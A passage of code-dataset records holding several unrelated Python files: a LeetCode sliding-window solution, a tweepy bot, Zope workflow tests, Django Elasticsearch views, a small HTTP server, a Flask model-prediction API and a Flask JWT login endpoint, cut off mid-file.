algorithm performance, one would need a structure, which provides four operations in \\mathcal{O}(1)O(1) time :\n\n Insert the key\n\n Get the key and check if the key exists\n\n Delete the key\n\n Return the first or last added key/ value\n\n The first three operations in \\mathcal{O}(1)O(1) time are provided by the standard hashmap, and the forth one - by linked list.\n\n There is a structure called ordered dictionary, it combines behind both hashmap and linked list. In Python this structure is called OrderedDict and in Java LinkedHashMap.\n\n Ordered dictionary is quite popular for interviews. for example, check out the Implementing a LRU Cache question by Google.\n\n Algorithm\n\n Let's use ordered dictionary instead of standard hashmap to trim the algorithm from approach 1 :\n\n Return 0 if the string is empty or k is equal to zero.\n Set both pointers to the beginning of the string left = 0 and right = 0 and initialize max substring length max_len = 1.\n While right pointer is less than N:\n If the current character s[right] is already in the ordered dictionary hashmap -- delete it, to ensure that the first key in hashmap is the leftmost character.\n Add the current character s[right] in the ordered dictionary and move right pointer to the right.\n If ordered dictionary hashmap contains k + 1 distinct characters, remove the leftmost one and move the left pointer so that sliding window contains again k distinct characters only.\n Update max_len.\n Implementation\n\n Complexity Analysis\n\n Time complexity : O(N) since all operations with ordered dictionary : insert/get/delete/popitem (put/containsKey/remove) are done in a constant time.\n\n Space complexity : O(k) since additional space is used only for an ordered dictionary with at most k + 1 elements.\n \"\"\"\n\n def doit_slidingwindow(self, s: str, k: int) -> int:\n from collections import OrderedDict\n n = len(s)\n if k == 0 or n == 0:\n return 0\n\n # sliding window left and right pointers\n left, right = 0, 0\n # hashmap character -> its rightmost position\n # in the sliding window\n hashmap = OrderedDict()\n\n max_len = 1\n\n while right < n:\n character = s[right]\n # if character is already in the hashmap -\n # delete it, so that after insert it becomes\n # the rightmost element in the hashmap\n if character in hashmap:\n del hashmap[character]\n hashmap[character] = right\n right += 1\n\n # slidewindow contains k + 1 characters\n if len(hashmap) == k + 1:\n # delete the leftmost character\n _, del_idx = hashmap.popitem(last = False)\n # move left pointer of the slidewindow\n left = del_idx + 1\n\n max_len = max(max_len, right - left)\n\n return max_len", "sub_path": "PythonLeetcode/leetcodeM/340_LongestSubstringWithAtMostKDistinctCharacters.py", "file_name": "340_LongestSubstringWithAtMostKDistinctCharacters.py", "file_ext": "py", "file_size_in_byte": 4292, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.OrderedDict", "line_number": 106, "usage_type": "call"}]} {"seq_id": "159797199", "text": "from os import urandom\nfrom sys import byteorder\nfrom time import sleep\nimport tweepy\nimport settings\n\n\ncons_key = settings.CONSUMER_KEY\ncons_sec = settings.CONSUMER_SECRET\nacc_key = settings.ACCESS_KEY\nacc_sec = settings.ACCESS_SECRET\n\nauth = tweepy.auth.OAuthHandler(cons_key, cons_sec)\nauth.set_access_token(acc_key, acc_sec)\napi = tweepy.API(auth)\n\n\ndef big_number():\n num_l = []\n for i in range(1, 5):\n n_bytes = urandom(8)\n num = int.from_bytes(n_bytes, byteorder)\n num_l.insert(0, str(num))\n return \"\".join(num_l)\n\n\ndef tweet(api, tweet):\n api.update_status(tweet)\n sleep(86400)\n\ntry:\n print(\"INFO - Running\")\n number = big_number()\n tweet(api, number)\nexcept KeyboardInterrupt:\n print(\"WARN - Stopping\")\n", "sub_path": "mercury.py", "file_name": "mercury.py", "file_ext": "py", "file_size_in_byte": 760, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "settings.CONSUMER_KEY", "line_number": 8, "usage_type": "attribute"}, {"api_name": "settings.CONSUMER_SECRET", "line_number": 9, "usage_type": "attribute"}, {"api_name": "settings.ACCESS_KEY", "line_number": 10, "usage_type": "attribute"}, {"api_name": "settings.ACCESS_SECRET", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tweepy.auth.OAuthHandler", "line_number": 13, "usage_type": "call"}, {"api_name": "tweepy.auth", "line_number": 13, "usage_type": "attribute"}, {"api_name": "tweepy.API", "line_number": 15, "usage_type": "call"}, {"api_name": "os.urandom", "line_number": 21, "usage_type": "call"}, {"api_name": "sys.byteorder", "line_number": 22, "usage_type": "argument"}, {"api_name": "time.sleep", "line_number": 29, "usage_type": "call"}]} {"seq_id": "149285495", "text": "##############################################################################\n#\n# Copyright (c) 2002 Zope Corporation and Contributors.\n# All Rights Reserved.\n#\n# This software is subject to the provisions of the Zope Public License,\n# Version 2.1 (ZPL). A copy of the ZPL should accompany this distribution.\n# THIS SOFTWARE IS PROVIDED \"AS IS\" AND ANY AND ALL EXPRESS OR IMPLIED\n# WARRANTIES ARE DISCLAIMED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n# WARRANTIES OF TITLE, MERCHANTABILITY, AGAINST INFRINGEMENT, AND FITNESS\n# FOR A PARTICULAR PURPOSE.\n#\n##############################################################################\n\"\"\"Stateful content workflow manager.\n\n$Id$\n\"\"\"\nimport unittest\n\nfrom zope.interface import Interface, implements\nfrom zope.interface.verify import verifyClass\nfrom zope.annotation.interfaces import IAttributeAnnotatable\nfrom zope.annotation.interfaces import IAnnotatable, IAttributeAnnotatable\nfrom zope.lifecycleevent import ObjectCreatedEvent\nfrom zope.lifecycleevent.interfaces import IObjectCreatedEvent\nfrom zope.traversing.api import traverse\n\nfrom zope.app.container.contained import Contained\n\nfrom zope.app.workflow.interfaces import IProcessDefinition\nfrom zope.app.workflow.interfaces import IProcessInstanceContainerAdaptable\nfrom zope.app.workflow.interfaces import IProcessInstanceContainer\nfrom zope.app.workflow.stateful.interfaces import IContentWorkflowsManager\nfrom zope.app.workflow.instance import ProcessInstanceContainerAdapter\nfrom zope.app.workflow.stateful.contentworkflow import ContentWorkflowsManager\nfrom zope.app.workflow.stateful.contentworkflow \\\n import NewObjectProcessInstanceCreator\nfrom zope.app.workflow.tests.workflowsetup import WorkflowSetup\n\nfrom zope.app.testing import ztapi, setup\n\n# define and create dummy ProcessDefinition (PD) for tests\nclass DummyProcessDefinition(Contained):\n implements(IProcessDefinition, IAttributeAnnotatable)\n\n def __init__(self, n):\n self.n = n\n\n def __str__(self):\n return'PD #%d' % self.n\n\n def createProcessInstance(self, definition_name):\n return 'PI #%d' % self.n\n\n # Implements (incompletely) IRegistered to satisfy the promise that\n # it is IRegisterable.\n # Only the method addUsage is implemented.\n def addUsage(self, location):\n pass\n\nclass IFace1(Interface):\n pass\n\nclass IFace2(Interface):\n pass\n\nclass IFace3(Interface):\n pass\n\nclass TestObject1(object):\n implements(IFace1, IProcessInstanceContainerAdaptable,\n IAttributeAnnotatable)\n\nclass TestObject2(object):\n implements(IFace2, IProcessInstanceContainerAdaptable,\n IAttributeAnnotatable)\n\nclass TestObject3(object):\n implements(IFace3, IProcessInstanceContainerAdaptable,\n IAttributeAnnotatable)\n\n\nclass ContentWorkflowsManagerTest(WorkflowSetup, unittest.TestCase):\n\n def setUp(self):\n WorkflowSetup.setUp(self)\n ztapi.provideAdapter(IAnnotatable, IProcessInstanceContainer,\n ProcessInstanceContainerAdapter)\n\n def testInterface(self):\n verifyClass(IContentWorkflowsManager, ContentWorkflowsManager)\n\n def getManager(self):\n manager = ContentWorkflowsManager()\n manager._registry = {IFace1: ('default',), IFace2: ('default',)}\n self.default['manager'] = manager\n return traverse(self.default, 'manager')\n\n def test_getProcessDefinitionNamesForObject(self):\n manager = self.getManager()\n self.assertEqual(\n manager.getProcessDefinitionNamesForObject(TestObject1()),\n ('default',))\n self.assertEqual(\n manager.getProcessDefinitionNamesForObject(TestObject2()),\n ('default',))\n self.assertEqual(\n manager.getProcessDefinitionNamesForObject(TestObject3()),\n ())\n\n def test_register(self):\n manager = self.getManager()\n manager._registry = {}\n manager.register(IFace1, 'default')\n self.assertEqual(manager._registry, {IFace1: ('default',)})\n\n def test_unregister(self):\n manager = self.getManager()\n manager.unregister(IFace1, 'default')\n self.assertEqual(manager._registry, {IFace2: ('default',)})\n\n def test_getProcessNamesForInterface(self):\n manager = self.getManager()\n self.assertEqual(\n manager.getProcessNamesForInterface(IFace1),\n ('default',))\n self.assertEqual(\n manager.getProcessNamesForInterface(IFace2),\n ('default',))\n self.assertEqual(\n manager.getProcessNamesForInterface(IFace3),\n ())\n\n def test_getInterfacesForProcessName(self):\n manager = self.getManager()\n ifaces = manager.getInterfacesForProcessName(u'default')\n self.assertEqual(len(ifaces), 2)\n for iface in [IFace1, IFace2]:\n self.failUnless(iface in ifaces)\n self.assertEqual(\n manager.getInterfacesForProcessName(u'foo'), ())\n\n def test_notify(self):\n # setup ProcessDefinitions\n\n setup.addUtility(self.sm, 'definition1', IProcessDefinition,\n DummyProcessDefinition(1))\n setup.addUtility(self.sm, 'definition2', IProcessDefinition,\n DummyProcessDefinition(2))\n\n manager = self.getManager()\n manager._registry = {IFace1: ('definition1',),\n IFace2: ('definition1', 'definition2')}\n setup.addUtility(self.sm, '', IContentWorkflowsManager,\n manager)\n\n obj = TestObject2()\n event = ObjectCreatedEvent(obj)\n NewObjectProcessInstanceCreator(obj, event)\n pi = obj.__annotations__['zope.app.worfklow.ProcessInstanceContainer']\n self.assertEqual(pi.keys(), ['definition2', 'definition1'])\n\n\ndef test_suite():\n return unittest.TestSuite((\n unittest.makeSuite(ContentWorkflowsManagerTest),\n ))\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "zope.app.workflow/tags/3.4.2/src/zope/app/workflow/stateful/tests/test_contentworkflow.py", "file_name": "test_contentworkflow.py", "file_ext": "py", "file_size_in_byte": 5996, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "zope.app.container.contained.Contained", "line_number": 43, "usage_type": "name"}, {"api_name": "zope.interface.implements", "line_number": 44, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessDefinition", "line_number": 44, "usage_type": "argument"}, {"api_name": "zope.annotation.interfaces.IAttributeAnnotatable", "line_number": 44, "usage_type": "argument"}, {"api_name": "zope.interface.Interface", "line_number": 61, "usage_type": "name"}, {"api_name": "zope.interface.Interface", "line_number": 64, "usage_type": "name"}, {"api_name": "zope.interface.Interface", "line_number": 67, "usage_type": "name"}, {"api_name": "zope.interface.implements", "line_number": 71, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessInstanceContainerAdaptable", "line_number": 71, "usage_type": "argument"}, {"api_name": "zope.annotation.interfaces.IAttributeAnnotatable", "line_number": 72, "usage_type": "argument"}, {"api_name": "zope.interface.implements", "line_number": 75, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessInstanceContainerAdaptable", "line_number": 75, "usage_type": "argument"}, {"api_name": "zope.annotation.interfaces.IAttributeAnnotatable", "line_number": 76, "usage_type": "argument"}, {"api_name": "zope.interface.implements", "line_number": 79, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessInstanceContainerAdaptable", "line_number": 79, "usage_type": "argument"}, {"api_name": "zope.annotation.interfaces.IAttributeAnnotatable", "line_number": 80, "usage_type": "argument"}, {"api_name": "zope.app.workflow.tests.workflowsetup.WorkflowSetup", "line_number": 83, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 83, "usage_type": "attribute"}, {"api_name": "zope.app.workflow.tests.workflowsetup.WorkflowSetup.setUp", "line_number": 86, "usage_type": "call"}, {"api_name": "zope.app.workflow.tests.workflowsetup.WorkflowSetup", "line_number": 86, "usage_type": "name"}, {"api_name": "zope.app.testing.ztapi.provideAdapter", "line_number": 87, "usage_type": "call"}, {"api_name": "zope.annotation.interfaces.IAnnotatable", "line_number": 87, "usage_type": "argument"}, {"api_name": "zope.app.workflow.interfaces.IProcessInstanceContainer", "line_number": 87, "usage_type": "argument"}, {"api_name": "zope.app.workflow.instance.ProcessInstanceContainerAdapter", "line_number": 88, "usage_type": "argument"}, {"api_name": "zope.app.testing.ztapi", "line_number": 87, "usage_type": "name"}, {"api_name": "zope.interface.verify.verifyClass", "line_number": 91, "usage_type": "call"}, {"api_name": "zope.app.workflow.stateful.interfaces.IContentWorkflowsManager", "line_number": 91, "usage_type": "argument"}, {"api_name": "zope.app.workflow.stateful.contentworkflow.ContentWorkflowsManager", "line_number": 91, "usage_type": "argument"}, {"api_name": "zope.app.workflow.stateful.contentworkflow.ContentWorkflowsManager", "line_number": 94, "usage_type": "call"}, {"api_name": "zope.traversing.api.traverse", "line_number": 97, "usage_type": "call"}, {"api_name": "zope.app.testing.setup.addUtility", "line_number": 146, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessDefinition", "line_number": 146, "usage_type": "argument"}, {"api_name": "zope.app.testing.setup", "line_number": 146, "usage_type": "name"}, {"api_name": "zope.app.testing.setup.addUtility", "line_number": 148, "usage_type": "call"}, {"api_name": "zope.app.workflow.interfaces.IProcessDefinition", "line_number": 148, "usage_type": "argument"}, {"api_name": "zope.app.testing.setup", "line_number": 148, "usage_type": "name"}, {"api_name": "zope.app.testing.setup.addUtility", "line_number": 154, "usage_type": "call"}, {"api_name": "zope.app.workflow.stateful.interfaces.IContentWorkflowsManager", "line_number": 154, "usage_type": "argument"}, {"api_name": "zope.app.testing.setup", "line_number": 154, "usage_type": "name"}, {"api_name": "zope.lifecycleevent.ObjectCreatedEvent", "line_number": 158, "usage_type": "call"}, {"api_name": "zope.app.workflow.stateful.contentworkflow.NewObjectProcessInstanceCreator", "line_number": 159, "usage_type": "call"}, {"api_name": "unittest.TestSuite", "line_number": 165, "usage_type": "call"}, {"api_name": "unittest.makeSuite", "line_number": 166, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 170, "usage_type": "call"}]} {"seq_id": "253892245", "text": "from django.forms.widgets import NullBooleanSelect, Widget\nfrom django.http import JsonResponse, HttpResponse, HttpResponseRedirect\nfrom django.shortcuts import render\nimport simplejson\nfrom urllib.request import urlopen\nimport urllib\nfrom datetime import datetime\nfrom elasticsearch import Elasticsearch\nfrom glob import glob\nfrom elasticsearch_dsl import Search, Q, Index\nfrom elasticsearch_dsl.query import MatchAll\nfrom django.core import serializers\n\nes = Elasticsearch(\"http://localhost:9200\")\n\ndef rest(request):\n\ttry:\n\t\tterm = request.GET['term']\n\texcept:\n\t\tterm = ''\n\ttry:\n\t\tyear_from = request.GET['year_from']\n\texcept:\n\t\tyear_from = \"0\"\n\ttry:\n\t\tyear_to = request.GET['year_to']\n\texcept:\n\t\tyear_to = \"3000\"\n\ttry:\n\t\tlon = request.GET['lon']\n\texcept:\n\t\tlon = \"0\"\n\ttry:\n\t\tlat = request.GET['lat']\n\texcept:\n\t\tlat= \"0\"\n\ttry:\n\t\tstation = request.GET['station']\n\texcept:\n\t\tstation = '*'\n\ttry:\n\t\tgenre = request.GET['genre']\n\texcept:\n\t\tgenre='*'\n\ttry:\n\t\tauthor = request.GET['author']\n\texcept:\n\t\tauthor = '*'\n\ttry:\n\t\tdistributor = request.GET['distributor']\n\texcept:\n\t\tdistributor = '*'\n\ttry:\n\t\tkeywords = request.GET['keywords']\n\texcept:\n\t\tkeywords = '*'\n\ttry:\n\t\tabstract = request.GET['abstract']\n\texcept:\n\t\tabstract = '*'\n\n\tprint(term)\n\tprint(station)\n\n\n\tresult = esearch(all_fields = term, year_from=year_from, year_to=year_to, lon=lon, \n\t\t\t\t\tlat=lat, station=station.lower(), genre=genre.lower(), author=author.lower(), distributor=distributor.lower(),\n\t\t\t\t\tkeywords=keywords.lower(), abstract=abstract.lower())\n\n\treturn JsonResponse(result, safe=True, json_dumps_params={'ensure_ascii': False})\n#-------------------------------------------------------------------------\n\ndef home(request):\n #index_elastic()\n context = {}\n #context['form'] = SelectionForm()\n #context['result'] = SelectionForm.fields\n return render(request, \"home.html\", context)\n\ndef result(request):\n context = {}\n #context['result'] = SelectionForm()\n return render(request, \"result.html\")\n\n#-------------------------------------------------------------------------\n\ndef search_index(request):\n\tresults = []\n\tkeywords_term = \"\"\n\tabstract_term = \"\"\n\tall_fields_term = \"\"\n\tyear_from_term = \"\"\n\tyear_to_term = \"\"\n\n\t\"\"\"\n\tif request.GET.get('keywords') and request.GET.get('abstract'):\n\t\tkeywords_term = request.GET['keywords']\n\t\tabstract_term = request.GET['abstract']\n\telif request.GET.get('keywords'):\n\t\tkeywords_term = request.GET['keywords']\n\telif request.GET.get('abstract'):\n\t\tabstract_term = request.GET['abstract']\n\telif request.GET.get('all_fields'):\n\t\tall_fields_term = request.GET['all_fields']\n\t\"\"\"\n\n\ttry:\n\t\tkeywords_term = request.GET['keywords']\n\texcept:\n\t\tpass\n\ttry:\n\t\tabstract_term = request.GET['abstract']\n\texcept:\n\t\tpass\n\ttry:\n\t\tall_fields_term = request.GET['all_fields']\n\texcept:\n\t\tpass\n\ttry:\n\t\tyear_from_term = request.GET['year_from']\n\texcept:\n\t\tpass\n\ttry:\n\t\tyear_to_term = request.GET['year_to' ]\n\texcept:\n\t\tpass\n\n\tsearch_term = keywords_term or abstract_term or all_fields_term or year_from_term or year_to_term\n\t\n\t#print(search_term)\n\t#results = esearch(keywords = keywords_term, abstract=abstract_term, all_terms = all_fields_term)\n\tresults = esearch(keywords = keywords_term,\n\t\t\t\t\t abstract = abstract_term, \n\t\t\t\t\t all_fields = all_fields_term, \n\t\t\t\t\t year_from = year_from_term, \n\t\t\t\t\t year_to = year_to_term)\n\n\t#print(results)\n\tcontext = {'results': results, 'count': len(results), 'search_term': search_term }\n\treturn render(request, 'search.html', context) \n\n#----------------------------------------------------------------\n\n#----------------------------------------------------------------\n\ndef esearch(keywords = \"\",\n\t\t\tabstract = \"\",\n\t\t\tall_fields = \"\",\n\t\t\tyear_from = \"\",\n\t\t\tyear_to = \"\",\n\t\t\tlon = \"\",\n\t\t\tlat= \"\",\n\t\t\tstation= \"\",\n\t\t\tgenre= \"\",\n\t\t\tauthor=\"\",\n\t\t\tdistributor=\"\",\n\t\t\t):\n\n\tclient = es\t\n\tif all_fields == \"*\":\n\t\tfilter_type_all_fields = \"wildcard\"\n\telse:\n\t\tfilter_type_all_fields = \"match_phrase\"\n\n\tif keywords == \"*\":\n\t\tfilter_type_keywords = \"wildcard\"\n\telse:\n\t\tfilter_type_keywords = \"match\"\n\n\tif abstract == \"*\":\n\t\tfilter_type_abstract = \"wildcard\"\n\telse:\n\t\tfilter_type_abstract = \"match\"\n\n\tif station == '*':\n\t\tfilter_type_provider = \"wildcard\"\n\telse:\n\t\tfilter_type_provider = \"match_phrase\"\n\t\n\tif genre == '*':\n\t\tfilter_type_genre = \"wildcard\"\n\telse:\n\t\tfilter_type_genre = \"match_phrase\"\n\n\tif author == '*':\n\t\tfilter_type_author = \"wildcard\"\n\telse:\n\t\tfilter_type_author = \"match_phrase\"\n\n\tif distributor == '*':\n\t\tfilter_type_distributor = \"wildcard\"\n\telse:\n\t\tfilter_type_distributor = \"match_phrase\"\n\n\tif lon == \"0\":\n\t\tlon_gte = \"-90.0\"\n\t\tlon_lte = \"90.0\"\n\n\telse:\n\t\tlon_gte = (float(lon) - 1)\n\t\tlon_lte = (float(lon) + 1)\n\n\tif lat == \"0\":\n\t\tlat_gte = \"-90.0\"\n\t\tlat_lte = \"90.0\"\n\n\telse:\n\t\tlat_gte = (float(lat) - 1)\n\t\tlat_lte = (float(lat) + 1)\n\n\tq = Q(\"bool\",\n\n\t\tshould=[\n\t\tQ(filter_type_all_fields, keywords=keywords), \n\t\tQ(filter_type_all_fields, abstract = abstract),\n\t\tQ(filter_type_all_fields, keywords=all_fields), \n\t\tQ(filter_type_all_fields, abstract = all_fields),\n\t\tQ(filter_type_all_fields, name = all_fields),\n\t\tQ(filter_type_all_fields, material = all_fields),\n\t\tQ(filter_type_all_fields, publisher = all_fields),\n\t\tQ(filter_type_all_fields, description = all_fields),\n\t\tQ(filter_type_all_fields, provider = all_fields),\n\t\tQ(filter_type_all_fields, distributionInfo = all_fields),\n\t\tQ(filter_type_all_fields, about = all_fields),\n\t\tQ(filter_type_all_fields, citation = all_fields),\n\t\tQ(filter_type_all_fields, responsibleParty = all_fields),\n\t\tQ(filter_type_all_fields, creator = all_fields),\n\t\tQ(filter_type_all_fields, accountablePerson = all_fields),\n\t\tQ(filter_type_all_fields, locationCreated = all_fields),\n\t\t],\n\t\tminimum_should_match=1\n\t)\n\n\ts = Search(using = client, index = \"envri\")\\\n\t\t\t.filter(\"range\", temporal = {'gte': year_from, 'lte': year_to})\\\n\t\t\t.filter(\"range\", longitude = {'gte': lon_gte, 'lte': lon_lte})\\\n\t\t\t.filter(\"range\", latitude = {'gte': lat_gte, 'lte': lat_lte})\\\n\t\t\t.filter(filter_type_provider, provider = station)\\\n\t\t\t.filter(filter_type_genre, genre = genre)\\\n\t\t\t.filter(filter_type_distributor, distributor = distributor)\\\n\t\t\t.filter(filter_type_author, author = author)\\\n\t\t\t.query(q)[:1000]\n\n\tresponse = s.execute()\n\tsearch = get_results_rest(response)\n\treturn search\n\ndef get_results_rest(response):\n\tresults = {}\n\tfor hit in response:\n\t\tresult = {\n\t\t\t'identifier': str(hit.identifier),\n\t\t\t'name' : str(hit.name),\n\t\t\t'temporal' : str(hit.temporal),\n\t\t\t'author' : [name for name in hit.author],\n\t\t\t'landing_page' : str(hit.landing_page),\n\t\t\t'keywords' : [keyword for keyword in hit.keywords],\n\t\t\t'distributor' : str(hit.distributor),\n\t\t\t'station': str(hit.provider),\n\t\t\t'genre' : str(hit.genre),\n\t\t\t'longitude': str(hit.longitude),\n\t\t\t'latitude': str(hit.latitude),\n\t\t\t'abstract': str(hit.abstract)\n\t\t}\n\t\tresults[hit.identifier] = result\n\treturn results\n\ndef get_results(response):\n\tresults = []\n\tfor hit in response:\n\t\tresult_tuple = (hit.identifier, hit.landing_page, hit.name)\n\t\tresults.append(result_tuple)\n\treturn results\n\n#-------------------------------------------------------------\n\n#-------------------------------------------------------------\n", "sub_path": "envri_old/opensemanticsearch/dataset_elastic/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 7161, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "elasticsearch.Elasticsearch", "line_number": 14, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 78, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 83, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 140, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 211, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 214, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 215, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 216, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 217, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 218, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 219, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 220, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 221, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 222, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 223, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 224, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 225, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 226, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 227, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 228, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Q", "line_number": 229, "usage_type": "call"}, {"api_name": "elasticsearch_dsl.Search", "line_number": 234, "usage_type": "call"}]} {"seq_id": "275687036", "text": "#!/usr/bin/python\n# -*- coding: utf8 -*-\n\nfrom __future__ import print_function\nfrom BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nfrom SocketServer import ThreadingMixIn\nimport time\nimport cgi\nfrom schedule.goo import Goo\nimport threading\nfrom dbconnect import connection_fdb as connection\nfrom CONSTANTS import DATA, HOST, PORT\n\n\nclass MyHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.end_headers()\n self.wfile.write(bytes(\"Title goes here.\"))\n self.wfile.write(bytes(\"

This is a test.

\"))\n self.wfile.write(bytes(\"

You accessed path: %s

\" % self.path))\n self.wfile.write(bytes(\"\"))\n\n def do_POST(self):\n # Parse the form data posted\n form = cgi.FieldStorage(\n fp=self.rfile,\n headers=self.headers,\n environ={'REQUEST_METHOD': 'POST',\n 'CONTENT_TYPE': self.headers['Content-Type'],\n })\n # Begin the response\n\n try:\n data = None\n self.send_response(200)\n except KeyError:\n self.send_error(403)\n return\n except Exception:\n self.send_error(500)\n finally:\n self.end_headers()\n\n\nclass MyServer(ThreadingMixIn, HTTPServer):\n def __init__(self):\n HTTPServer.__init__(self, (HOST, PORT), MyHandler)\n self.goo = Goo()\n self.connection = connection(DATA)\n\n def dull():\n print(time.time())\n time.sleep(5)\n dull()\n\n thread = threading.Thread(target=dull)\n thread.start()\n\n\n", "sub_path": "schedule/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 1742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "BaseHTTPServer.BaseHTTPRequestHandler", "line_number": 15, "usage_type": "name"}, {"api_name": "cgi.FieldStorage", "line_number": 27, "usage_type": "call"}, {"api_name": "SocketServer.ThreadingMixIn", "line_number": 47, "usage_type": "name"}, {"api_name": "BaseHTTPServer.HTTPServer", "line_number": 47, "usage_type": "name"}, {"api_name": "BaseHTTPServer.HTTPServer.__init__", "line_number": 49, "usage_type": "call"}, {"api_name": "BaseHTTPServer.HTTPServer", "line_number": 49, "usage_type": "name"}, {"api_name": "CONSTANTS.HOST", "line_number": 49, "usage_type": "name"}, {"api_name": "CONSTANTS.PORT", "line_number": 49, "usage_type": "name"}, {"api_name": "schedule.goo.Goo", "line_number": 50, "usage_type": "call"}, {"api_name": "dbconnect.connection_fdb", "line_number": 51, "usage_type": "call"}, {"api_name": "CONSTANTS.DATA", "line_number": 51, "usage_type": "argument"}, {"api_name": "time.time", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 58, "usage_type": "call"}]} {"seq_id": "2191136", "text": "from flask import Flask, request, redirect, url_for, flash, jsonify\n\nfrom features_calculation import doTheCalculation\n\nimport json, pickle\n\nimport pandas as pd\n\nimport numpy as np\n\napp = Flask(__name__)\n\n@app.route('/api/makecalc/', methods=['POST'])\n\ndef makecalc():\n\n\t\"\"\"\n\n\tFunction run at each API call\n\n\t\"\"\"\n\n\tjsonfile = request.get_json()\n\n\tdata = pd.read_json(json.dumps(jsonfile),orient='index',convert_dates=['dteday'])\n\n\tprint(data)\n\n\tres = dict()\n\n\typred = model.predict(doTheCalculation(data))\n\n\tfor i in range(len(ypred)):\n\n \t res[i] = ypred[i]\n\n \n\n\treturn jsonify(res) \n\nif __name__ == '__main__':\n\n\tmodelfile = 'modelfile.pickle' \n\n\tmodel = pickle.load(open(modelfile, 'rb'))\n\n\tprint(\"loaded OK\")\n\n\tapp.run(debug=True)\n", "sub_path": "forecasting/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 746, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "flask.Flask", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.request.get_json", "line_number": 23, "usage_type": "call"}, {"api_name": "flask.request", "line_number": 23, "usage_type": "name"}, {"api_name": "pandas.read_json", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 25, "usage_type": "call"}, {"api_name": "features_calculation.doTheCalculation", "line_number": 31, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 39, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 45, "usage_type": "call"}]} {"seq_id": "359013339", "text": "from flask import jsonify\nfrom app import app\nfrom models import *\nimport random, time\nimport jwt\n\n\n#tracker metrics\nfrom tracker_metrics import *\n\n#trends\nfrom trends import *\n\n#reports\nfrom reports import *\n\n\n#login\n@app.route('/login', methods=['POST'])\ndef loginMethod():\n content = request.get_json(force=True)\n refreshKey = random.getrandbits(32)\n if User.objects(email=content['email'], hashedPassword=content['password']):\n user = User.objects.get(email=content['email'], hashedPassword=content['password'])\n else:\n return jsonify({'result': 'fail', 'message': 'invalid email or password'})\n\n if user.refreshSecret:\n refreshKey = user.refreshSecret\n else:\n refreshKey = random.getrandbits(32)\n user.refreshSecret = refreshKey\n user.save()\n\n refreshToken = jwt.encode({'refreshSecret': refreshKey, 'email': user.email}, app.config['SECRET_KEY'],\n algorithm='HS256')\n return jsonify({'result': 'success', 'message': str(refreshToken)})\n\n\n#Access Token Endpoint\n@app.route('/getAccessToken', methods=['POST'])\ndef getAccessToken():\n content = request.get_json(force=True)\n print(content)\n refreshToken = content['refreshToken']\n payload = jwt.decode(refreshToken, app.config['SECRET_KEY'])\n print(payload['refreshSecret'])\n user = User.objects.get(refreshSecret=payload['refreshSecret'])\n\n if not user:\n print(\"fail\")\n return jsonify({\"message\": \"fail\"})\n else:\n print(user)\n print(user.email)\n secs = int(time.time())\n accessToken = jwt.encode({'email': user.email, 'exp': secs + 360}, app.config['SECRET_KEY'], algorithm='HS256')\n return jsonify({'result': 'success', 'message': str(accessToken)})\n\n#user management\nfrom user_management import *\n\n#common\n@app.route('/site', methods=['GET'])\ndef siteMethod():\n site = Site.objects.get()\n site_data = {\"totalTrackers\": site.totalTrackers, 